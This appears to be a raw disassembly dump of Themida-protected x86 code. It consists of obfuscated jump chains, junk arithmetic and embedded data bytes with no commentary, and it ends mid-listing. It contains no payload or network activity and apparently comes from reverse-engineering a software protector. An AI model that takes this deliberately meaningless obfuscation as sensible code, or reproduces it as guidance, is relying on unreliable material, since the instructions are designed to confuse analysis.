loc_59A899:				; CODE XREF: Themida_:005A47C5j
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_59BC2A
; ---------------------------------------------------------------------------
		dd 100BBE56h, 74013A4Ch, 5B5E0424h, 100BEB81h, 148B3A4Ch
		dd 0E6895624h, 4C681h, 0C6810000h, 4, 0E9243487h, 8A72h
; ---------------------------------------------------------------------------


loc_59A8D8:				; CODE XREF: Themida_:005A7647j
		xor	ecx, 45A2DEE4h
		mov	esi, ecx
		pop	ecx
		sub	ecx, esi
		pop	esi
		xor	ecx, [esp]
		jmp	loc_59E66A
; ---------------------------------------------------------------------------


loc_59A8EC:				; CODE XREF: Themida_:005A408Dj
		push	ebx
		mov	ebx, ebp
		mov	esi, ebx
		pop	ebx
		mov	ebp, [esp]
		add	esp, 4
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_59C11E
; ---------------------------------------------------------------------------


loc_59A902:				; CODE XREF: Themida_:00598841j
		add	ch, dh
		jmp	loc_5AEA6B
; ---------------------------------------------------------------------------


loc_59A909:				; CODE XREF: Themida_:005ACD73j
		mov	edx, [esp]
		push	340Dh
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5A76CD
; ---------------------------------------------------------------------------


loc_59A921:				; CODE XREF: Themida_:0059A704j
		add	esp, 4
		add	esp, 4
		and	ecx, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	0BF6h
		mov	[esp], esi
		mov	esi, esp
		push	ebx
		mov	ebx, 30DC465Dh
		shr	ebx, 3
		add	ebx, 62D828B7h
		inc	ebx
		xor	ebx, 68F3B187h
		sub	esi, 6194B4Bh
		add	esi, ebx
		jmp	loc_59E2B5
; ---------------------------------------------------------------------------


loc_59A965:				; CODE XREF: Themida_:0059F367j
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 0B59856C5h
		jmp	loc_5A6CC6
; ---------------------------------------------------------------------------


loc_59A979:				; CODE XREF: Themida_:005AF4C4j
		jmp	loc_5A6C56
; ---------------------------------------------------------------------------
		dw 1C33h
aLIH		db '$‹$$‰,$h',8,':',0
		align 4
		dd 0B9240C89h, 540E7BBFh, 8445C181h, 0CD89ABF1h, 81240C8Bh
		dd 4C4h, 0B9C18100h, 150E676h, 0B9E981E9h, 5D50E676h, 2BF57h
		dd 0F9010000h, 74FF515Fh, 8F590424h, 85C2404h, 0E99C2404h
		dd 0FFFFF373h
; ---------------------------------------------------------------------------


loc_59A9D0:				; CODE XREF: Themida_:loc_5A9D85j
		add	eax, 0B90A6871h
		mov	ebp, eax
		jmp	loc_59F065
; ---------------------------------------------------------------------------


loc_59A9DC:				; CODE XREF: Themida_:005A64B2j
		shr	eax, 4
		jp	loc_59F065
		shr	eax, 3
		jnz	loc_5A0B2B
		jmp	loc_5A029A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0F080240Ch
		db 64h,	5Ch
; ---------------------------------------------------------------------------


loc_59A9FA:				; CODE XREF: Themida_:loc_5A7137j
		shr	eax, 4
		add	eax, 5BF11713h
		mov	ebp, eax
		jmp	loc_5A831E
; ---------------------------------------------------------------------------
		db 0BFh, 88h, 1Ch
		dd 0FA0928F0h, 3EAC15Fh, 0F8AAEA81h, 5BE9189Bh
		db 3Dh,	1, 0
; ---------------------------------------------------------------------------


loc_59AA1F:				; CODE XREF: Themida_:005A27D0j
		pop	edx
		pop	esi
		add	edx, 7223220Dh
		add	eax, edx
		pop	edx
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ax
		jmp	loc_59C34C
; ---------------------------------------------------------------------------


loc_59AA38:				; CODE XREF: Themida_:005A0148j
		sub	bl, al
		add	bl, 0E1h
		push	71C5h
		mov	[esp], eax
		push	ecx
		push	eax
		mov	ah, 43h
		xor	ah, 0C0h
		shl	ah, 4
		sub	ah, 0E3h
		mov	cl, ah
		jmp	loc_5A337B
; ---------------------------------------------------------------------------


loc_59AA59:				; CODE XREF: Themida_:loc_5AE128j
		push	4981h
		jmp	loc_5A3A39
; ---------------------------------------------------------------------------


loc_59AA63:				; CODE XREF: Themida_:005993ADj
					; Themida_:005A48A9j
		xor	ecx, 4B7F7C49h
		jo	loc_5A7D56
		push	ebp
		mov	ebp, 7E7E44F4h
		jmp	loc_59CE1A
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 31241433h, 14332414h, 24248B24h, 68240C8Bh, 6219h
		dd 89243489h, 4C681E6h,	0E9000000h, 0FFFFE9CEh
; ---------------------------------------------------------------------------


loc_59AAA4:				; CODE XREF: Themida_:005AF2C9j
		add	edi, 0C1D3BD9h
		sub	edi, eax
		sub	edi, 0C1D3BD9h
		jmp	loc_5A3C06
; ---------------------------------------------------------------------------


loc_59AAB7:				; CODE XREF: Themida_:005A81C9j
		xor	eax, ebx
		pop	ebx
		add	ebx, eax
		pop	eax
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	esp
		pop	ebp
		jmp	loc_5A4CC4
; ---------------------------------------------------------------------------
		dw 8F59h
		dd 248B2404h, 241C8924h, 627C6852h, 0C890000h, 344E924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_59AAFA:				; CODE XREF: Themida_:005A6B70j
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_59E2CC
; ---------------------------------------------------------------------------


loc_59AB0D:				; CODE XREF: Themida_:005AA830j
		sub	ebx, 0F102C02Bh
		mov	esi, ebx
		pop	ebx
		jmp	loc_5AC195
; ---------------------------------------------------------------------------
		db 0ADh
		dd 0C6DEB2Dh, 40BA525Bh, 29688D13h, 0E9525AD0h,	0DF4Ch
		dd 8004EFC0h, 850F9AF7h, 0C87h,	0E9D6C780h, 0FFFFF915h
		dd 8752C331h, 0E95C2434h, 13154h
; ---------------------------------------------------------------------------


loc_59AB50:				; CODE XREF: Themida_:005AD68Dj
		mov	dl, 33h
		sub	al, dl
		pop	dx
		mov	dx, [esp]
		jmp	loc_5A9290
; ---------------------------------------------------------------------------
		db 81h
		dd 0C63428E2h, 53EA817Ah, 0E9DEB502h, 0FFFFF35Eh
; ---------------------------------------------------------------------------


loc_59AB70:				; CODE XREF: Themida_:0059C142j
		sub	ebp, 57B96C82h
		jmp	loc_5A0E54
; ---------------------------------------------------------------------------
		db 2Ch
		dd 0EC835A50h, 24148904h, 0E9E6B151h, 6054h, 0E96EF480h
		dd 8E71h, 1B68AC68h, 3AE95927h
		db 0A4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59AB9F:				; CODE XREF: Themida_:loc_599083j
					; Themida_:005AB8BFj
		pop	ecx
		push	ebx
		mov	ebx, 123A01D8h
		push	ecx
		mov	ecx, 13DA2448h
		and	ebx, ecx
		pop	ecx
		and	ebx, 7E816B71h
		xor	ebx, 4F21496Ch
		sub	ebx, 0FFFFFFFFh
		push	ecx
		jmp	loc_59D2EA
; ---------------------------------------------------------------------------


loc_59ABC4:				; CODE XREF: Themida_:loc_59B5DDj
		xor	edx, 64A41935h
		add	edx, 29DB4273h
		jmp	loc_5A9D97
; ---------------------------------------------------------------------------


loc_59ABD5:				; CODE XREF: Themida_:005A7827j
		push	ecx
		mov	ch, 62h
		jmp	loc_5A12F3
; ---------------------------------------------------------------------------


loc_59ABDD:				; CODE XREF: Themida_:005A3D2Cj
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_59B877
; ---------------------------------------------------------------------------


loc_59ABEA:				; CODE XREF: Themida_:00598701j
		add	eax, 8DCF6922h
		push	eax
		add	dword ptr [esp], 72946AA7h
		pop	ebp
		sub	ebp, 72946AA7h
		pop	eax
		push	545Dh
		jmp	loc_5AD039
; ---------------------------------------------------------------------------


loc_59AC09:				; CODE XREF: Themida_:005A7D51j
		mov	[esp], eax
		push	715702B5h
		jmp	loc_5A291C
; ---------------------------------------------------------------------------
		dw 4BB0h
		dd 5866C200h, 0E9D9B450h, 0E114h
; ---------------------------------------------------------------------------


loc_59AC24:				; CODE XREF: Themida_:005AEAE4j
		and	edx, 4D2E72A6h
		jp	loc_5A3FF4
		neg	edx
		jns	loc_5A869A
		mov	ah, 0B0h
		pop	eax
		push	ebx
		push	64116AECh
		jmp	loc_5A9805
; ---------------------------------------------------------------------------


loc_59AC46:				; CODE XREF: Themida_:005ABDF4j
		mov	esi, 6F2D6B88h
		jmp	loc_5A4C68
; ---------------------------------------------------------------------------


loc_59AC50:				; CODE XREF: Themida_:005AA178j
		mov	[esp], eax
		sub	dword ptr [esp], 27D57DD8h
		pop	esi
		add	esi, 27D57DD8h
		pop	eax
		add	edx, esi
		jmp	loc_59FC68
; ---------------------------------------------------------------------------


loc_59AC69:				; CODE XREF: Themida_:005AB414j
		dec	dword ptr [esp]
		jmp	loc_5A738D
; ---------------------------------------------------------------------------


loc_59AC71:				; CODE XREF: Themida_:005A2124j
		pop	edi
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	eax
		sub	esp, 4
		jmp	loc_5A9178
; ---------------------------------------------------------------------------
		db 1, 0E9h, 5Dh
		dd 7E4BE9h
		db 0
; ---------------------------------------------------------------------------


loc_59AC8D:				; CODE XREF: Themida_:005A339Fj
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5A188F
; ---------------------------------------------------------------------------


loc_59AC9C:				; CODE XREF: Themida_:0059DCB5j
		xor	dword ptr [esp], 6111614Ah
		jmp	loc_5A0CAD
; ---------------------------------------------------------------------------
		dd 815BDE21h, 80420CEEh, 0EEED8115h, 143E325h, 0EEC581F5h
		dd 5E43E325h, 4BE56h, 0F5290000h, 8324348Bh, 2C8704C4h
		dd 24248B24h, 0B9240C89h, 4, 42F3BB53h,	6E92699h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59ACE7:				; CODE XREF: Themida_:0059D387j
		or	ebx, 3FAA7AF0h
		sub	ebx, 7FFB7FF2h
		jmp	loc_5A066C
; ---------------------------------------------------------------------------
		dd 4EC81h, 4890000h, 0B8505524h, 4E49463Eh, 1351FEBDh
		dd 58C52951h, 8B0FDDF7h, 0C6FEh, 4D07EDC1h, 27A9F581h
		db 66h,	0Ah
; ---------------------------------------------------------------------------


loc_59AD22:				; CODE XREF: Themida_:00598F7Aj
		mov	ebp, 39CA46F9h
		jmp	loc_59A07E
; ---------------------------------------------------------------------------


loc_59AD2C:				; CODE XREF: Themida_:00599180j
		add	[esp+4], edx
		jmp	loc_59D2A3
; ---------------------------------------------------------------------------


loc_59AD35:				; CODE XREF: Themida_:0059B0CAj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, 41EF623Dh
		jmp	loc_59CED9
; ---------------------------------------------------------------------------


loc_59AD58:				; CODE XREF: Themida_:00598DF4j
		add	cl, 0E9h
		shl	cl, 6
		jmp	loc_5A1180
; ---------------------------------------------------------------------------


loc_59AD63:				; CODE XREF: Themida_:005AF3F4j
		xchg	ecx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	549Dh
		mov	[esp], eax
		mov	eax, 24h
		add	eax, edi
		push	ebx
		jmp	loc_598EC2
; ---------------------------------------------------------------------------


loc_59AD80:				; CODE XREF: Themida_:00598D66j
		sub	edi, 2BA11727h
		jmp	loc_59E41D
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 4899h, 1C296857h, 0E95F2BBFh, 9133h
; ---------------------------------------------------------------------------


loc_59ADA0:				; CODE XREF: Themida_:0059C3BEj
		pop	edx
		pop	ecx
		jmp	loc_5A9276
; ---------------------------------------------------------------------------


loc_59ADA7:				; CODE XREF: Themida_:005A9EBDj
		neg	ecx
		xor	ecx, 4AC4F544h
		jmp	loc_5A3EDE
; ---------------------------------------------------------------------------


loc_59ADB4:				; CODE XREF: Themida_:005A2D4Ej
					; Themida_:005AED58j
		push	5AA2h
		mov	[esp], edi
		jmp	loc_599A30
; ---------------------------------------------------------------------------
		db 1, 0DFh, 0E9h
		dd 181h, 0F677C580h, 53F5E9D5h,	782D0000h, 291A7839h, 0FCC9E9D8h
		dd 0F8310000h, 0C3015E5Fh, 0E924048Bh, 4580h
; ---------------------------------------------------------------------------


loc_59ADEC:				; CODE XREF: Themida_:005A3AE9j
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A24DD
; ---------------------------------------------------------------------------


loc_59ADFE:				; CODE XREF: Themida_:0059ED6Cj
		mov	dh, ch
		mov	al, dh
		pop	edx
		pop	ecx
		add	bl, 0CFh
		add	bl, al
		sub	bl, 0CFh
		pop	ax
		push	small 4A37h
		mov	[esp], cx
		push	ebx
		jmp	loc_5A93DB
; ---------------------------------------------------------------------------


loc_59AE1C:				; CODE XREF: Themida_:005A496Dj
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59AE26:				; CODE XREF: Themida_:005A2FE1j
		mov	[esp], ebx
		push	ecx
		jmp	loc_5AA352
; ---------------------------------------------------------------------------


loc_59AE2F:				; CODE XREF: Themida_:0059FD0Dj
		pop	ebp
		add	ebx, 4
		jmp	loc_5A85CC
; ---------------------------------------------------------------------------
aBAawS		db 'ΓAνw΅ιšš',0
		db 0
; ---------------------------------------------------------------------------


loc_59AE43:				; CODE XREF: Themida_:005A810Aj
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		xor	eax, [esp]
		jmp	loc_5A60A6
; ---------------------------------------------------------------------------


loc_59AE5A:				; CODE XREF: Themida_:005A81BBj
		push	edx
		push	edi
		mov	edi, 19DF30BCh
		dec	edi
		jmp	loc_59C9A2
; ---------------------------------------------------------------------------


loc_59AE67:				; CODE XREF: Themida_:0059E4B1j
		mov	[esp], edi
		push	692Ah
		jmp	loc_5A4763
; ---------------------------------------------------------------------------
		dd 0EBA8E9ACh, 34FFFFFFh, 240C8B24h, 24ED68h, 242C8900h
		dd 0C581E589h, 4, 4C581h, 2C870000h, 24248B24h,	68E08950h
		dd 15B0h, 52243C89h, 0E28CE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59AEAE:				; CODE XREF: Themida_:005A26F2j
		mov	[esp], ebp
		mov	ebp, 731926F3h
		jmp	loc_59B3B9
; ---------------------------------------------------------------------------


loc_59AEBB:				; CODE XREF: Themida_:005A69BBj
		inc	eax
		inc	eax
		jmp	loc_5A3768
; ---------------------------------------------------------------------------
		dw 555Ch
		dd 0F41DFDBDh, 0A90BE94Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59AECE:				; CODE XREF: Themida_:loc_5A8122j
		add	ebx, 1FC09A3h
		jnz	loc_5AED36
		shl	ebx, 5
		jmp	loc_5A55F0
; ---------------------------------------------------------------------------
		dw 1C31h
		dd 8BBEB424h, 89DF89F5h, 34FF5FFEh, 241C8B24h, 4C481h
		dd 0E90000h, 6600000Fh,	29B75350h, 88D6C780h, 0E2005BFCh
		dd 0C2805866h, 0C004A7h, 5AC02CD0h, 0A12CEA04h,	62E9D800h
		db 88h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59AF23:				; CODE XREF: Themida_:005A0034j
		add	ah, 4Bh
		sub	ah, 21h
		mov	cl, ah
		jmp	loc_5A2030
; ---------------------------------------------------------------------------


loc_59AF30:				; CODE XREF: Themida_:005A04A4j
		push	eax
		mov	eax, 7C826AE1h
		not	eax
		and	eax, 4F344DB5h
		xor	eax, 3340510h
		add	ecx, eax
		jmp	loc_5A02A3
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 5Eh
		dd 8B71BE5Ah, 0C481241Ch, 4, 0A735E9h
		db 0
; ---------------------------------------------------------------------------


loc_59AF5D:				; CODE XREF: Themida_:005AE592j
		push	eax
		jmp	loc_59F97F
; ---------------------------------------------------------------------------
aQvskm		db 'QVιŠm',0
		align 2


loc_59AF6A:				; CODE XREF: Themida_:005AC2E6j
		push	54D2h
		mov	[esp], ecx
		mov	ecx, 49777D6Ah
		dec	ecx
		sub	ecx, 0FFFFFFFFh
		not	ecx
		or	ecx, 43104662h
		shl	ecx, 2
		sub	ecx, 0A29C9E73h
		add	eax, ecx
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_59D34B
; ---------------------------------------------------------------------------


loc_59AFA2:				; CODE XREF: Themida_:005A7667j
		add	bl, ch
		pop	ecx
		sub	bl, 75h
		sub	bl, al
		push	ax
		push	ecx
		push	5E15h
		mov	[esp], ebx
		mov	bl, 0FCh
		mov	ch, 5
		xor	ch, bl
		jmp	loc_5A8BD3
; ---------------------------------------------------------------------------
		dd 0F65AD488h, 66E188D4h, 132E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59AFCE:				; CODE XREF: Themida_:005A0B33j
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		mov	ebx, [esp]
		add	esp, 4
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 0EC830000h, 241C8904h, 2BBh,	4322E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59B00A:				; CODE XREF: Themida_:00598B37j
		mov	cx, [esp]
		push	eax
		mov	eax, esp
		push	ebp
		push	ebx
		jmp	loc_5983B3
; ---------------------------------------------------------------------------
		dd 5C240487h, 0FFD36BE9h, 2E8C1FFh, 0E903E0C1h,	42E1h
; ---------------------------------------------------------------------------


loc_59B02C:				; CODE XREF: Themida_:005A48D8j
		mov	ebp, ecx
		jmp	loc_5AD51E
; ---------------------------------------------------------------------------
		db 58h
		dd 390BBE56h, 0F101E3B2h, 0FFCD015Eh, 81592434h, 4C4h
		dd 4EC8100h, 0E9000000h, 4336h
; ---------------------------------------------------------------------------


loc_59B054:				; CODE XREF: Themida_:005A2FBEj
		jmp	loc_599083
; ---------------------------------------------------------------------------


loc_59B059:				; CODE XREF: Themida_:005A2E84j
		mov	ecx, edi
		pop	edi
		xor	ecx, 83D2821Ah
		add	edi, ecx
		jmp	loc_5A7CD0
; ---------------------------------------------------------------------------
		db 29h,	0CEh, 81h
		dd 84393EC6h, 2434FF41h, 0B301E9h
		db 0
; ---------------------------------------------------------------------------


loc_59B079:				; CODE XREF: Themida_:0059CAF2j
		add	ebx, 4CAF4F3Ch
		jmp	loc_5A711F
; ---------------------------------------------------------------------------
		dd 1E932FFh
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59B08B:				; CODE XREF: Themida_:005AC322j
		and	eax, 30F84407h
		shr	eax, 4
		xor	eax, 20F0444h
		add	ecx, eax
		jmp	loc_5AC277
; ---------------------------------------------------------------------------


loc_59B09F:				; CODE XREF: Themida_:005A0E92j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_59C770
; ---------------------------------------------------------------------------


loc_59B0B3:				; CODE XREF: Themida_:005AE954j
		pop	esp
		jmp	loc_59FA20
; ---------------------------------------------------------------------------


loc_59B0B9:				; CODE XREF: Themida_:005A0330j
		or	eax, 28D239ADh
		jmp	loc_5A963C
; ---------------------------------------------------------------------------


loc_59B0C3:				; CODE XREF: Themida_:0059D687j
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		mov	ecx, esp
		jmp	loc_59AD35
; ---------------------------------------------------------------------------


loc_59B0CF:				; CODE XREF: Themida_:005984F7j
		pop	ebx
		jmp	loc_5AC0E7
; ---------------------------------------------------------------------------


loc_59B0D5:				; CODE XREF: Themida_:loc_5A332Ej
		and	ebp, 305177BCh
		sub	ebp, 1B4B5C60h
		ja	loc_5A1D19
		jmp	loc_5A88A3
; ---------------------------------------------------------------------------
		dd 0FFF140E9h, 242C87FFh, 6624248Bh, 0E9240489h, 0FFFFD28Ch
		dd 6604E9C0h, 0F0B25250h, 890FE2D0h, 0FB9Dh, 8008E2C0h
		dd 0D4886FC2h, 8324148Bh, 0E13004C4h, 0E9B5E9h
		db 0
; ---------------------------------------------------------------------------


loc_59B125:				; CODE XREF: Themida_:005ABF1Dj
		pop	esi
		add	ecx, 1
		push	ecx
		xchg	ecx, [esp]
		not	ecx
		xchg	ecx, [esp]
		jmp	loc_59FC43
; ---------------------------------------------------------------------------


loc_59B137:				; CODE XREF: Themida_:005AA39Aj
		mov	ebx, 4E585650h
		and	edi, ebx
		pop	ebx
		not	edi
		jmp	loc_5A0A2F
; ---------------------------------------------------------------------------
		dw 0CB81h
		dd 5B9030A1h, 7808B0Fh,	0EB810001h, 5F967DA5h, 515BDF89h
		dd 5FBDF280h
; ---------------------------------------------------------------------------


loc_59B160:				; CODE XREF: Themida_:loc_5AC8F3j
		sub	al, 0E0h
		sub	bl, al
		pop	ax
		push	dword ptr [esp]
		mov	eax, [esp]
		push	esi
		jmp	loc_5A319E
; ---------------------------------------------------------------------------


loc_59B172:				; CODE XREF: Themida_:005AA757j
		add	esi, ecx
		pop	ecx
		jmp	loc_5A451E
; ---------------------------------------------------------------------------


loc_59B17A:				; CODE XREF: Themida_:0059D73Bj
					; Themida_:0059FC57j
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], ebx
		sub	dword ptr [esp], 261A5F41h
		mov	ebp, [esp]
		jmp	loc_59B926
; ---------------------------------------------------------------------------
		dd 0B3E7E9h, 2474FF00h,	3664E904h
		db 1, 0
; ---------------------------------------------------------------------------


loc_59B1A6:				; CODE XREF: Themida_:0059CC49j
		xor	ebp, 4B5A50ABh
		add	ebp, 0C0D06D3h
		xor	ebp, 61A16A4Fh
		jmp	loc_5A607A
; ---------------------------------------------------------------------------


loc_59B1BD:				; CODE XREF: Themida_:005A70DCj
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_59C1E9
; ---------------------------------------------------------------------------
		db 8
		dd 805866C7h, 0EC8371F7h, 0C66AE902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59B1D6:				; CODE XREF: Themida_:00598579j
		add	eax, 688D1340h
		push	edi
		mov	edi, 63471AD3h
		shl	edi, 7
		add	edi, 27D6075Dh
		neg	edi
		jmp	loc_5A59DF
; ---------------------------------------------------------------------------


loc_59B1F1:				; CODE XREF: Themida_:005A6528j
		sub	al, 76h
		mov	dx, [esp]
		push	473Fh
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		push	0F16h
		mov	[esp], ecx
		mov	cl, 59h
		shl	cl, 6
		push	eax
		mov	al, 9Eh
		jmp	loc_5A885A
; ---------------------------------------------------------------------------
		db 57h
		dd 4BFh, 82A1E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59B22E:				; CODE XREF: Themida_:005A5305j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5A4ECA
; ---------------------------------------------------------------------------


loc_59B23A:				; CODE XREF: Themida_:005AE72Cj
		or	eax, eax
		jz	loc_5AAFD4
		push	dword ptr [edi+1Ch]
		push	4558h
		mov	[esp], ebx
		jmp	loc_5A8F8A
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 26A54667h, 70F7E9h
		db 0
; ---------------------------------------------------------------------------


loc_59B25D:				; CODE XREF: Themida_:005A9487j
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_5A117A
; ---------------------------------------------------------------------------


loc_59B271:				; CODE XREF: Themida_:005AF1DEj
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		jmp	loc_5AB224
; ---------------------------------------------------------------------------


loc_59B27E:				; CODE XREF: Themida_:005A1B40j
		push	esp
		pop	ebx
		push	esi
		mov	esi, 2C0054D8h
		jmp	loc_5A91CE
; ---------------------------------------------------------------------------
		db 0FFh
		dd 48B2434h, 4C48324h, 13E41E9h
		db 0
; ---------------------------------------------------------------------------


loc_59B299:				; CODE XREF: Themida_:005A3161j
		mov	[esp], ecx
		jmp	loc_5986BF
; ---------------------------------------------------------------------------


loc_59B2A1:				; CODE XREF: Themida_:00598505j
		pop	esp
		push	edx
		jmp	loc_5A0A6A
; ---------------------------------------------------------------------------
		dd 34FF555Fh, 2434FF24h, 0E289525Ah, 4C281h, 0F0E90000h
		dd 810000D6h, 0F5C8EE9h, 59CF011Ch, 890FC781h, 9CE9130Fh
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59B2D3:				; CODE XREF: Themida_:0059D4B8j
		push	66CB61F3h
		pop	ecx
		sub	esi, ecx
		jmp	loc_59B93A
; ---------------------------------------------------------------------------


loc_59B2E0:				; CODE XREF: Themida_:005A2852j
		shl	esi, 4
		sub	esi, 0FFFFFFFFh
		add	esi, 0C042C05Fh
		and	eax, esi
		mov	esi, [esp]
		jmp	loc_598ECE
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aSS_8		db '$ι»α',0
		align 2


loc_59B302:				; CODE XREF: Themida_:0059F5C9j
		mov	[esp], edx
		push	esp
		pop	edx
		push	ecx
		push	eax
		mov	eax, 31352EBAh
		add	eax, 0FFFFFFFFh
		push	eax
		not	dword ptr [esp]
		jmp	loc_5A53F1
; ---------------------------------------------------------------------------


loc_59B31C:				; CODE XREF: Themida_:005A361Bj
		xchg	ecx, [esp]
		mov	esp, [esp]
		btr	[esp], ax
		pushf
		jmp	loc_5ADFE5
; ---------------------------------------------------------------------------
aWh_		db 'Wh.~',0
		dw 8900h
		dd 79E9241Ch
		db 1Fh,	1, 0
; ---------------------------------------------------------------------------


loc_59B33B:				; CODE XREF: Themida_:005A84E1j
		pop	cx
		push	ecx
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 0
		mov	cl, dh
		mov	edx, [esp]
		add	esp, 4
		push	eax
		push	edx
		mov	dl, 6Dh
		jmp	loc_5AEE72
; ---------------------------------------------------------------------------


loc_59B35A:				; CODE XREF: Themida_:005A4305j
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	al, 11h
		xor	al, 1Bh
		mov	bl, al
		mov	eax, [esp]
		add	esp, 4
		add	al, 0FDh
		add	al, 49h
		sub	al, 86h
		add	al, bl
		jmp	loc_5A5830
; ---------------------------------------------------------------------------


loc_59B37F:				; CODE XREF: Themida_:005A23BBj
					; Themida_:005A51F6j
		add	cl, 44h
		jmp	loc_5AA651
; ---------------------------------------------------------------------------


loc_59B387:				; CODE XREF: Themida_:loc_5AF275j
		dec	ah
		jle	loc_5A97A0
		jmp	loc_5A1D8E
; ---------------------------------------------------------------------------


loc_59B394:				; CODE XREF: Themida_:loc_5A1076j
		xor	ah, 8Ah
		jz	loc_59BA27
		push	edx
		jmp	loc_59CB66
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 0E1E95700h
		db 4, 1, 0
; ---------------------------------------------------------------------------


loc_59B3AF:				; CODE XREF: Themida_:005A07A4j
		mov	edi, 4
		jmp	loc_5A0799
; ---------------------------------------------------------------------------


loc_59B3B9:				; CODE XREF: Themida_:0059AEB6j
		sub	eax, ebp
		jmp	loc_5A0F4F
; ---------------------------------------------------------------------------
		dd 81E18951h, 4C1h, 0DDE95500h
		db 61h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59B3CF:				; CODE XREF: Themida_:0059A74Aj
		mov	[esp], ecx
		push	3E764B4Ch
		pop	ecx
		and	ecx, 8BE642Dh
		jmp	loc_5988A9
; ---------------------------------------------------------------------------
		db 52h
		dd 8860B353h, 0D5885BDAh, 0C868665Ah, 1192E90Ah, 4BF0001h
		dd 29000000h, 14875FFAh, 34895C24h, 0FCE95024h
		db 0A8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59B40B:				; CODE XREF: Themida_:005AE997j
		pop	edi
		add	ebx, 2
		jmp	loc_5A06BE
; ---------------------------------------------------------------------------


loc_59B414:				; CODE XREF: Themida_:005A9320j
		mov	esi, 4
		push	eax
		jmp	loc_5AA916
; ---------------------------------------------------------------------------


loc_59B41F:				; CODE XREF: Themida_:loc_5ABDB9j
		add	edi, 25DE7C1Eh
		jmp	loc_5AAE9A
; ---------------------------------------------------------------------------


loc_59B42A:				; CODE XREF: Themida_:005996F9j
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5A5988
; ---------------------------------------------------------------------------


loc_59B44B:				; CODE XREF: Themida_:005A7FCCj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_59E2C6
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 2Ch
		dd 0E9736A04h, 0B93Ah
; ---------------------------------------------------------------------------


loc_59B470:				; CODE XREF: Themida_:005A255Bj
		not	ecx
		push	edi
		jmp	loc_59FC11
; ---------------------------------------------------------------------------


loc_59B478:				; CODE XREF: Themida_:005A0024j
		push	ecx
		mov	ecx, 0D1162D5h
		dec	ecx
		dec	ecx
		add	ecx, 3BF934D2h
		shl	ecx, 6
		sub	ecx, 42A5E93Ch
		add	ebx, ecx
		pop	ecx
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5AEFC2
; ---------------------------------------------------------------------------


loc_59B4A0:				; CODE XREF: Themida_:loc_5A471Bj
